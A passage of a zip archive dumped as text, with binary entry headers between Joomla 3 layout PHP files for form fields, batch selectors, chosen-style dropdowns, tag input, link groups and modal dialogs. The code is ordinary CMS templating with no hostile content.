echo $id; ?>" value="<?php
echo htmlspecialchars(JStringPunycode::urlToUTF8($value), ENT_COMPAT,
'UTF-8'); ?>" <?php
echo implode(' ', $attributes); ?> />
PK�J�[wjȬ�joomla/form/field/user.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2015 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\Utilities\ArrayHelper;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
*
* @var string $userName The user name
* @var mixed $groups The filtering groups (null means no
filtering)
* @var mixed $excluded The users to exclude from the list of
users
*/
if (!$readonly)
{
JHtml::_('behavior.modal', 'a.modal_' . $id);
JHtml::_('script', 'jui/fielduser.min.js',
array('version' => 'auto', 'relative'
=> true));
}
$uri = new
JUri('index.php?option=com_users&view=users&layout=modal&tmpl=component&required=0');
$uri->setVar('field', $this->escape($id));
if ($required)
{
$uri->setVar('required', 1);
}
if (!empty($groups))
{
$uri->setVar('groups', base64_encode(json_encode($groups)));
}
if (!empty($excluded))
{
$uri->setVar('excluded',
base64_encode(json_encode($excluded)));
}
// Invalidate the input value if no user selected
if ($this->escape($userName) ===
JText::_('JLIB_FORM_SELECT_USER'))
{
$userName = '';
}
$inputAttributes = array(
'type' => 'text', 'id' => $id,
'value' => $this->escape($userName)
);
if ($size)
{
$inputAttributes['size'] = (int) $size;
}
if ($required)
{
$inputAttributes['required'] = 'required';
}
if (!$readonly)
{
$inputAttributes['placeholder'] =
JText::_('JLIB_FORM_SELECT_USER');
}
$anchorAttributes = array(
'class' => 'btn btn-primary modal_' . $id,
'title' => JText::_('JLIB_FORM_CHANGE_USER'),
'rel' => '{handler: \'iframe\', size: {x: 800,
y: 500}}'
);
?>
<div class="input-append">
<input <?php echo ArrayHelper::toString($inputAttributes); ?>
readonly />
<?php if (!$readonly) : ?>
<?php echo JHtml::_('link', (string) $uri, '<span
class="icon-user"></span>', $anchorAttributes);
?>
<?php endif; ?>
</div>
<?php if (!$readonly) : ?>
<input type="hidden" id="<?php echo $id;
?>_id" name="<?php echo $name; ?>"
value="<?php echo (int) $value; ?>"
data-onchange="<?php echo $this->escape($onchange); ?>"
/>
<?php endif;
?>PK�J�[|o��>>joomla/form/renderfield.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2014 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData);
/**
* Layout variables
* ---------------------
* $options : (array) Optional parameters
* $label : (string) The html code for the label (not required
if $options['hiddenLabel'] is true)
* $input : (string) The input field html code
*/
if (!empty($options['showonEnabled']))
{
JHtml::_('jquery.framework');
JHtml::_('script', 'jui/cms.js',
array('version' => 'auto', 'relative'
=> true));
}
$class = empty($options['class']) ? '' : ' '
. $options['class'];
$rel = empty($options['rel']) ? '' : ' ' .
$options['rel'];
?>
<div class="control-group<?php echo $class; ?>"<?php
echo $rel; ?>>
<?php if (empty($options['hiddenLabel'])) : ?>
<div class="control-label"><?php echo $label;
?></div>
<?php endif; ?>
<div class="controls"><?php echo $input;
?></div>
</div>
PK�J�[�}ZMjjjoomla/form/renderlabel.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2014 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData);
/**
* Layout variables
* ---------------------
* $text : (string) The label text
* $description : (string) An optional description to use in a tooltip
* $for : (string) The id of the input this label is for
* $required : (boolean) True if a required field
* $classes : (array) A list of classes
* $position : (string) The tooltip position. Bottom for alias
*/
$classes = array_filter((array) $classes);
$id = $for . '-lbl';
$title = '';
if (!empty($description))
{
if ($text && $text !== $description)
{
JHtml::_('bootstrap.popover');
$classes[] = 'hasPopover';
$title = ' title="' . htmlspecialchars(trim($text,
':')) . '"'
. ' data-content="'. htmlspecialchars($description) .
'"';
if (!$position && JFactory::getLanguage()->isRtl())
{
$position = ' data-placement="left" ';
}
}
else
{
JHtml::_('bootstrap.tooltip');
$classes[] = 'hasTooltip';
$title = ' title="' .
JHtml::_('tooltipText', trim($text, ':'), $description,
0) . '"';
}
}
if ($required)
{
$classes[] = 'required';
}
?>
<label id="<?php echo $id; ?>" for="<?php echo
$for; ?>"<?php if (!empty($classes)) echo '
class="' . implode(' ', $classes) . '"';
?><?php echo $title; ?><?php echo $position; ?>>
<?php echo $text; ?><?php if ($required) : ?><span
class="star"> *</span><?php endif; ?>
</label>
PK�J�[T��.��joomla/html/batch/access.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2015 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Layout variables
* ---------------------
* None
*/
?>
<label id="batch-access-lbl" for="batch-access"
class="modalTooltip" title="<?php echo
JHtml::_('tooltipText', 'JLIB_HTML_BATCH_ACCESS_LABEL',
'JLIB_HTML_BATCH_ACCESS_LABEL_DESC'); ?>">
<?php echo JText::_('JLIB_HTML_BATCH_ACCESS_LABEL');
?></label>
<?php echo JHtml::_(
'access.assetgrouplist',
'batch[assetgroup_id]', '',
'class="inputbox"',
array(
'title' => JText::_('JLIB_HTML_BATCH_NOCHANGE'),
'id' => 'batch-access'
)
); ?>
PK�J�[��j���#joomla/html/batch/adminlanguage.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2017 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Layout variables
* ---------------------
* None
*/
JFactory::getDocument()->addScriptDeclaration(
'
jQuery(document).ready(function($){
if ($("#batch-category-id").length){var batchSelector =
$("#batch-category-id");}
if ($("#batch-menu-id").length){var batchSelector =
$("#batch-menu-id");}
if ($("#batch-position-id").length){var batchSelector =
$("#batch-position-id");}
if ($("#batch-copy-move").length && batchSelector) {
$("#batch-copy-move").hide();
batchSelector.on("change", function(){
if (batchSelector.val() != 0 || batchSelector.val() != "") {
$("#batch-copy-move").show();
} else {
$("#batch-copy-move").hide();
}
});
}
});
'
);
?>
<label id="batch-language-lbl"
for="batch-language-id" class="modalTooltip"
title="<?php echo JHtml::_('tooltipText',
'JLIB_HTML_BATCH_LANGUAGE_LABEL',
'JLIB_HTML_BATCH_LANGUAGE_LABEL_DESC'); ?>">
<?php echo JText::_('JLIB_HTML_BATCH_LANGUAGE_LABEL'); ?>
</label>
<select name="batch[language_id]" class="inputbox"
id="batch-language-id">
<option value=""><?php echo
JText::_('JLIB_HTML_BATCH_LANGUAGE_NOCHANGE');
?></option>
<?php echo JHtml::_('select.options',
JHtml::_('adminlanguage.existing', true, true),
'value', 'text'); ?>
</select>
PK�J�[ϚG���joomla/html/batch/item.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2015 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Layout variables
* ---------------------
*
* @var string $extension The extension name
*/
extract($displayData);
// Create the copy/move options.
$options = array(
JHtml::_('select.option', 'c',
JText::_('JLIB_HTML_BATCH_COPY')),
JHtml::_('select.option', 'm',
JText::_('JLIB_HTML_BATCH_MOVE'))
);
?>
<label id="batch-choose-action-lbl"
for="batch-choose-action"><?php echo
JText::_('JLIB_HTML_BATCH_MENU_LABEL'); ?></label>
<div id="batch-choose-action"
class="control-group">
<select name="batch[category_id]" class="inputbox"
id="batch-category-id">
<option value=""><?php echo
JText::_('JLIB_HTML_BATCH_NO_CATEGORY'); ?></option>
<?php echo JHtml::_('select.options',
JHtml::_('category.options', $extension)); ?>
</select>
</div>
<div id="batch-copy-move" class="control-group
radio">
<?php echo JText::_('JLIB_HTML_BATCH_MOVE_QUESTION'); ?>
<?php echo JHtml::_('select.radiolist', $options,
'batch[move_copy]', '', 'value',
'text', 'm'); ?>
</div>
PK�J�[�P?��joomla/html/batch/language.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2015 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Layout variables
* ---------------------
* None
*/
JFactory::getDocument()->addScriptDeclaration(
'
jQuery(document).ready(function($){
if ($("#batch-category-id").length){var batchSelector =
$("#batch-category-id");}
if ($("#batch-menu-id").length){var batchSelector =
$("#batch-menu-id");}
if ($("#batch-position-id").length){var batchSelector =
$("#batch-position-id");}
if ($("#batch-copy-move").length && batchSelector) {
$("#batch-copy-move").hide();
batchSelector.on("change", function(){
if (batchSelector.val() != 0 || batchSelector.val() != "") {
$("#batch-copy-move").show();
} else {
$("#batch-copy-move").hide();
}
});
}
});
'
);
?>
<label id="batch-language-lbl"
for="batch-language-id" class="modalTooltip"
title="<?php echo JHtml::_('tooltipText',
'JLIB_HTML_BATCH_LANGUAGE_LABEL',
'JLIB_HTML_BATCH_LANGUAGE_LABEL_DESC'); ?>">
<?php echo JText::_('JLIB_HTML_BATCH_LANGUAGE_LABEL'); ?>
</label>
<select name="batch[language_id]" class="inputbox"
id="batch-language-id">
<option value=""><?php echo
JText::_('JLIB_HTML_BATCH_LANGUAGE_NOCHANGE');
?></option>
<?php echo JHtml::_('select.options',
JHtml::_('contentlanguage.existing', true, true),
'value', 'text'); ?>
</select>
PK�J�[�y8U??joomla/html/batch/tag.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2015 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Layout variables
* ---------------------
* None
*/
?>
<label id="batch-tag-lbl" for="batch-tag-id"
class="modalTooltip" title="<?php
echo JHtml::_('tooltipText',
'JLIB_HTML_BATCH_TAG_LABEL',
'JLIB_HTML_BATCH_TAG_LABEL_DESC'); ?>">
<?php echo JText::_('JLIB_HTML_BATCH_TAG_LABEL'); ?>
</label>
<select name="batch[tag]" class="inputbox"
id="batch-tag-id">
<option value=""><?php echo
JText::_('JLIB_HTML_BATCH_TAG_NOCHANGE'); ?></option>
<?php echo JHtml::_('select.options',
JHtml::_('tag.tags', array('filter.published' =>
array(1))), 'value', 'text'); ?>
</select>
PK�J�[�}�� joomla/html/batch/user.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2015 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Layout variables
* ---------------------
*
* @var boolean $noUser Inject an option for no user?
*/
extract($displayData);
$optionNo = '';
if ($noUser)
{
$optionNo = '<option value="0">' .
JText::_('JLIB_HTML_BATCH_USER_NOUSER') .
'</option>';
}
?>
<label id="batch-user-lbl" for="batch-user"
class="modalTooltip" title="<?php
echo JHtml::_('tooltipText',
'JLIB_HTML_BATCH_USER_LABEL',
'JLIB_HTML_BATCH_USER_LABEL_DESC'); ?>">
<?php echo JText::_('JLIB_HTML_BATCH_USER_LABEL'); ?>
</label>
<select name="batch[user_id]" class="inputbox"
id="batch-user-id">
<option value=""><?php echo
JText::_('JLIB_HTML_BATCH_USER_NOCHANGE'); ?></option>
<?php echo $optionNo; ?>
<?php echo JHtml::_('select.options',
JHtml::_('user.userlist'), 'value', 'text');
?>
</select>
PK�J�[�
�qII'joomla/html/formbehavior/ajaxchosen.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2015 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Layout variables
* ---------------------
*
* @var string $selector The id of the field
* @var array $options The options array
* @var boolean $debug Are we in debug mode?
* @var string $type Get or Post
* @var string $url The URL
* @var string $dataType Data type returned
* @var string $jsonTermKey Extra JSON terminator key
* @var integer $afterTypeDelay Delay for the execution
* @var integer $minTermLength The minimum characters required
*/
extract($displayData);
JText::script('JGLOBAL_KEEP_TYPING');
JText::script('JGLOBAL_LOOKING_FOR');
// Include jQuery
JHtml::_('jquery.framework');
JHtml::_('script', 'jui/ajax-chosen.min.js',
array('version' => 'auto', 'relative'
=> true, 'detectDebug' => $debug));
JFactory::getDocument()->addScriptDeclaration(
"
jQuery(document).ready(function ($) {
$('" . $selector . "').ajaxChosen({
type: '" . $type . "',
url: '" . $url . "',
dataType: '" . $dataType . "',
jsonTermKey: '" . $jsonTermKey . "',
afterTypeDelay: '" . $afterTypeDelay . "',
minTermLength: '" . $minTermLength . "'
}, function (data) {
var results = [];
$.each(data, function (i, val) {
results.push({ value: val.value, text: val.text });
});
return results;
});
});
"
);PK�J�[g5���#joomla/html/formbehavior/chosen.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2015 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Layout variables
* ---------------------
*
* @var string $selector The id of the field
* @var array $options The options array
* @var boolean $debug Are we in debug mode?
*/
extract($displayData);
// Include jQuery
JHtml::_('jquery.framework');
JHtml::_('script', 'jui/chosen.jquery.min.js',
array('version' => 'auto', 'relative'
=> true, 'detectDebug' => $debug));
JHtml::_('stylesheet', 'jui/chosen.css',
array('version' => 'auto', 'relative'
=> true));
// Options array to json options string
$options_str = json_encode($options, ($debug &&
defined('JSON_PRETTY_PRINT') ? JSON_PRETTY_PRINT : false));
JFactory::getDocument()->addScriptDeclaration(
'
jQuery(function ($) {
initChosen();
$("body").on("subform-row-add", initChosen);
function initChosen(event, container)
{
container = container || document;
$(container).find(' . json_encode($selector) .
').chosen(' . $options_str . ');
}
});
'
);
PK�J�[Nd3���joomla/html/sortablelist.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2015 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Layout variables
* ---------------------
*
* @var string $tableId The id of the table
* @var string $formId The id of the form
* @var string $saveOrderingUrl Save the ordering URL?
* @var string $sortDir The direction of the order
(asc/desc)
* @var string $nestedList Is it nested list?
* @var string $proceedSaveOrderButton Is there a button to initiate
the ordering?
*/
extract($displayData);
// Depends on jQuery UI
JHtml::_('jquery.ui', array('core',
'sortable'));
JHtml::_('script', 'jui/sortablelist.js',
array('version' => 'auto', 'relative'
=> true));
JHtml::_('stylesheet', 'jui/sortablelist.css',
array('version' => 'auto', 'relative'
=> true));
// Attach sortable to document
JFactory::getDocument()->addScriptDeclaration(
"
jQuery(document).ready(function ($){
var sortableList = new $.JSortableList('#"
. $tableId . " tbody','" . $formId .
"','" . $sortDir . "' , '" .
$saveOrderingUrl . "','','" . $nestedList .
"');
});
"
);
if ($proceedSaveOrderButton)
{
JFactory::getDocument()->addScriptDeclaration(
"
jQuery(document).ready(function ($){
var saveOrderButton = $('.saveorder');
saveOrderButton.css({'opacity':'0.2',
'cursor':'default'}).attr('onclick','return
false;');
var oldOrderingValue = '';
$('.text-area-order').focus(function ()
{
oldOrderingValue = $(this).attr('value');
})
.keyup(function (){
var newOrderingValue = $(this).attr('value');
if (oldOrderingValue != newOrderingValue)
{
saveOrderButton.css({'opacity':'1',
'cursor':'pointer'}).removeAttr('onclick')
}
});
});
"
);
}
PK�J�[�$n
joomla/html/tag.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2015 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\Registry\Registry;
/**
* Layout variables
* ---------------------
*
* @var string $selector The id of the field
* @var string $minTermLength The minimum number of characters for the
tag
* @var boolean $allowCustom Can we insert custom tags?
*/
extract($displayData);
// Tags field ajax
$chosenAjaxSettings = new Registry(
array(
'selector' => $selector,
'type' => 'GET',
'url' => JUri::root() .
'index.php?option=com_tags&task=tags.searchAjax',
'dataType' => 'json',
'jsonTermKey' => 'like',
'minTermLength' => $minTermLength
)
);
JHtml::_('formbehavior.ajaxchosen', $chosenAjaxSettings);
// Allow custom values?
if ($allowCustom)
{
JFactory::getDocument()->addScriptDeclaration(
"
jQuery(document).ready(function ($) {
var customTagPrefix = '#new#';
function tagHandler(event,element) {
// Search a highlighted result
var highlighted = $('" . $selector .
"_chzn').find('li.active-result.highlighted').first();
// Add the highlighted option
if (event.which === 13 && highlighted.text() !== '')
{
// Extra check. If we have added a custom tag with element text remove
it
var customOptionValue = customTagPrefix + highlighted.text();
$('" . $selector . " option').filter(function () {
return $(element).val() == customOptionValue; }).remove();
// Select the highlighted result
var tagOption = $('" . $selector . "
option').filter(function () { return $(element).html() ==
highlighted.text(); });
tagOption.attr('selected', 'selected');
}
// Add the custom tag option
else
{
var customTag = element.value;
// Extra check. Search if the custom tag already exists (typed faster
than AJAX ready)
var tagOption = $('" . $selector . "
option').filter(function () { return $(element).html() == customTag;
});
if (tagOption.text() !== '')
{
tagOption.attr('selected', 'selected');
}
else
{
var option = $('<option>');
option.text(element.value).val(customTagPrefix + element.value);
option.attr('selected','selected');
// Append the option and repopulate the chosen field
$('" . $selector . "').append(option);
}
}
element.value = '';
$('" . $selector .
"').trigger('liszt:updated');
}
// Method to add tags pressing comma
$('" . $selector . "_chzn
input').keypress(function(event) {
if (event.charCode === 44)
{
// Tag is greater than the minimum required chars
if (this.value && this.value.length >= " .
$minTermLength . ")
{
tagHandler(event, this);
}
// Do not add comma to tag at all
event.preventDefault();
}
});
// Method to add tags pressing enter
$('" . $selector . "_chzn
input').keyup(function(event) {
// Tag is greater than the minimum required chars and enter pressed
if (event.which === 13 && this.value &&
this.value.length >= " . $minTermLength . ")
{
tagHandler(event,this);
event.preventDefault();
}
});
});
"
);
}
PK�J�[�Sލ66joomla/html/treeprefix.phpnu�[���<?php
/**
* @package Joomla.Libraries
* @subpackage HTML
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Layout variables
* ---------------------
*
* @var integer $level The level of the item in the tree like structure.
*
* @since 3.6.0
*/
extract($displayData);
if ($level > 1)
{
echo '<span class="muted">' .
str_repeat('┊ ', (int)
$level - 2) . '</span>– ';
}
PK�J�[�?�joomla/links/groupclose.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
?>
</ul>
PK�J�[c�����joomla/links/groupopen.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
?>
<h2 class="nav-header"><?php echo
JFilterOutput::ampReplace(JText::_($displayData)); ?></h2>
<ul class="j-links-group nav nav-list">
PK�J�[�b�Ejoomla/links/groupsclose.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
?>
</div>
PK�J�[XO�$$joomla/links/groupseparator.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
?>
<div class="j-links-separator"></div>
PK�J�[�\)joomla/links/groupsopen.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
?>
<div class="j-links-groups">
PK�J�[
t�IIjoomla/links/link.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$id = empty($displayData['id']) ? '' : ('
id="' . $displayData['id'] . '"');
$target = empty($displayData['target']) ? '' : ('
target="' . $displayData['target'] .
'"');
$rel = empty($displayData['rel']) ? '' : ('
rel="' . $displayData['rel'] . '"');
$onclick = empty($displayData['onclick']) ? '' :
(' onclick="' . $displayData['onclick'] .
'"');
$title = empty($displayData['title']) ? '' : ('
title="' . $this->escape($displayData['title']) .
'"');
$text = empty($displayData['text']) ? '' :
('<span class="j-links-link">' .
$displayData['text'] . '</span>')
?>
<li<?php echo $id; ?>>
<a href="<?php echo
JFilterOutput::ampReplace($displayData['link']);
?>"<?php echo $target . $rel . $onclick . $title; ?>>
<span class="icon-<?php echo $displayData['image'];
?>" aria-hidden="true"></span> <?php echo
$text; ?>
</a>
</li>
PK�J�[p%�}��joomla/modal/body.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2015 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData);
/**
* Layout variables
* ------------------
* @param string $selector Unique DOM identifier for the modal. CSS id
without #
* @param array $params Modal parameters. Default supported
parameters:
* - title string The modal title
* - backdrop mixed A boolean select if
a modal-backdrop element should be included (default = true)
* The string
'static' includes a backdrop which doesn't close the modal
on click.
* - keyboard boolean Closes the modal
when escape key is pressed (default = true)
* - closeButton boolean Display modal close
button (default = true)
* - animation boolean Fade in from the top
of the page (default = true)
* - footer string Optional markup for
the modal footer
* - url string URL of a resource to
be inserted as an <iframe> inside the modal body
* - height string height of the
<iframe> containing the remote resource
* - width string width of the
<iframe> containing the remote resource
* - bodyHeight int Optional height of
the modal body in viewport units (vh)
* - modalWidth int Optional width of
the modal in viewport units (vh)
* @param string $body Markup for the modal body. Appended after
the <iframe> if the URL option is set
*
*/
$bodyClass = 'modal-body';
$bodyHeight = isset($params['bodyHeight']) ? round((int)
$params['bodyHeight'], -1) : '';
if ($bodyHeight && $bodyHeight >= 20 && $bodyHeight <
90)
{
$bodyClass .= ' jviewport-height' . $bodyHeight;
}
?>
<div class="<?php echo $bodyClass; ?>">
<?php echo $body; ?>
</div>
PK�J�[�-���joomla/modal/footer.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2015 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData);
/**
* Layout variables
* ------------------
* @param string $selector Unique DOM identifier for the modal. CSS id
without #
* @param array $params Modal parameters. Default supported
parameters:
* - title string The modal title
* - backdrop mixed A boolean select if
a modal-backdrop element should be included (default = true)
* The string
'static' includes a backdrop which doesn't close the modal
on click.
* - keyboard boolean Closes the modal
when escape key is pressed (default = true)
* - closeButton boolean Display modal close
button (default = true)
* - animation boolean Fade in from the top
of the page (default = true)
* - footer string Optional markup for
the modal footer
* - url string URL of a resource to
be inserted as an <iframe> inside the modal body
* - height string height of the
<iframe> containing the remote resource
* - width string width of the
<iframe> containing the remote resource
* - bodyHeight int Optional height of
the modal body in viewport units (vh)
* - modalWidth int Optional width of
the modal in viewport units (vh)
* @param string $body Markup for the modal body. Appended after
the <iframe> if the URL option is set
*
*/
?>
<div class="modal-footer">
<?php echo $params['footer']; ?>
</div>
PK�J�[�;��1 1 joomla/modal/header.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2015 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData);
/**
* Layout variables
* ------------------
* @param string $selector Unique DOM identifier for the modal. CSS id
without #
* @param array $params Modal parameters. Default supported
parameters:
* - title string The modal title
* - backdrop mixed A boolean select if
a modal-backdrop element should be included (default = true)
* The string
'static' includes a backdrop which doesn't close the modal
on click.
* - keyboard boolean Closes the modal
when escape key is pressed (default = true)
* - closeButton boolean Display modal close
button (default = true)
* - animation boolean Fade in from the top
of the page (default = true)
* - footer string Optional markup for
the modal footer
* - url string URL of a resource to
be inserted as an <iframe> inside the modal body
* - height string height of the
<iframe> containing the remote resource
* - width string width of the
<iframe> containing the remote resource
* - bodyHeight int Optional height of
the modal body in viewport units (vh)
* - modalWidth int Optional width of
the modal in viewport units (vh)
* @param string $body Markup for the modal body. Appended after
the <iframe> if the URL option is set
*
*/
?>
<div class="modal-header">
<?php if (!isset($params['closeButton']) ||
$params['closeButton']) : ?>
<button
type="button"
class="close novalidate"
data-dismiss="modal"
aria-label="<?php echo
JText::_('JLIB_HTML_BEHAVIOR_CLOSE'); ?>"
>
<span aria-hidden="true">×</span>
</button>
<?php endif; ?>
<?php if (isset($params['title'])) : ?>
<h3><?php echo $params['title']; ?></h3>
<?php endif; ?>
</div>
PK�J�[���-
-
joomla/modal/iframe.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2015 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\Utilities\ArrayHelper;
extract($displayData);
/**
* Layout variables
* ------------------
* @param string $selector Unique DOM identifier for the modal. CSS id
without #
* @param array $params Modal parameters. Default supported
parameters:
* - title string The modal title
* - backdrop mixed A boolean select if
a modal-backdrop element should be included (default = true)
* The string
'static' includes a backdrop which doesn't close the modal
on click.
* - keyboard boolean Closes the modal
when escape key is pressed (default = true)
* - closeButton boolean Display modal close
button (default = true)
* - animation boolean Fade in from the top
of the page (default = true)
* - footer string Optional markup for
the modal footer
* - url string URL of a resource to
be inserted as an <iframe> inside the modal body
* - height string height of the
<iframe> containing the remote resource
* - width string width of the
<iframe> containing the remote resource
* - bodyHeight int Optional height of
the modal body in viewport units (vh)
* - modalWidth int Optional width of
the modal in viewport units (vh)
* @param string $body Markup for the modal body. Appended after
the <iframe> if the URL option is set
*
*/
$iframeClass = 'iframe';
$bodyHeight = isset($params['bodyHeight']) ? round((int)
$params['bodyHeight'], -1) : '';
if ($bodyHeight && $bodyHeight >= 20 && $bodyHeight <
90)
{
$iframeClass .= ' jviewport-height' . $bodyHeight;
}
$iframeAttributes = array(
'class' => $iframeClass,
'src' => $params['url']
);
if (isset($params['title']))
{
$iframeAttributes['name'] =
addslashes($params['title']);
}
if (isset($params['height']))
{
$iframeAttributes['height'] = $params['height'];
}
if (isset($params['width']))
{
$iframeAttributes['width'] = $params['width'];
}
?>
<iframe <?php echo ArrayHelper::toString($iframeAttributes);
?>></iframe>
PK�J�[��ZR��joomla/modal/main.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2015 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\Utilities\ArrayHelper;
// Load bootstrap-tooltip-extended plugin for additional tooltip positions
in modal
JHtml::_('bootstrap.tooltipExtended');
extract($displayData);
/**
* Layout variables
* ------------------
* @param string $selector Unique DOM identifier for the modal. CSS id
without #
* @param array $params Modal parameters. Default supported
parameters:
* - title string The modal title
* - backdrop mixed A boolean select if
a modal-backdrop element should be included (default = true)
* The string
'static' includes a backdrop which doesn't close the modal
on click.
* - keyboard boolean Closes the modal
when escape key is pressed (default = true)
* - closeButton boolean Display modal close
button (default = true)
* - animation boolean Fade in from the top
of the page (default = true)
* - url string URL of a resource to
be inserted as an <iframe> inside the modal body
* - height string height of the
<iframe> containing the remote resource
* - width string width of the
<iframe> containing the remote resource
* - bodyHeight int Optional height of
the modal body in viewport units (vh)
* - modalWidth int Optional width of
the modal in viewport units (vh)
* - footer string Optional markup for
the modal footer
* @param string $body Markup for the modal body. Appended after
the <iframe> if the URL option is set
*
*/
$modalClasses = array('modal', 'hide');
if (!isset($params['animation']) ||
$params['animation'])
{
$modalClasses[] = 'fade';
}
$modalWidth = isset($params['modalWidth']) ? round((int)
$params['modalWidth'], -1) : '';
if ($modalWidth && $modalWidth > 0 && $modalWidth <=
100)
{
$modalClasses[] = 'jviewport-width' . $modalWidth;
}
$modalAttributes = array(
'tabindex' => '-1',
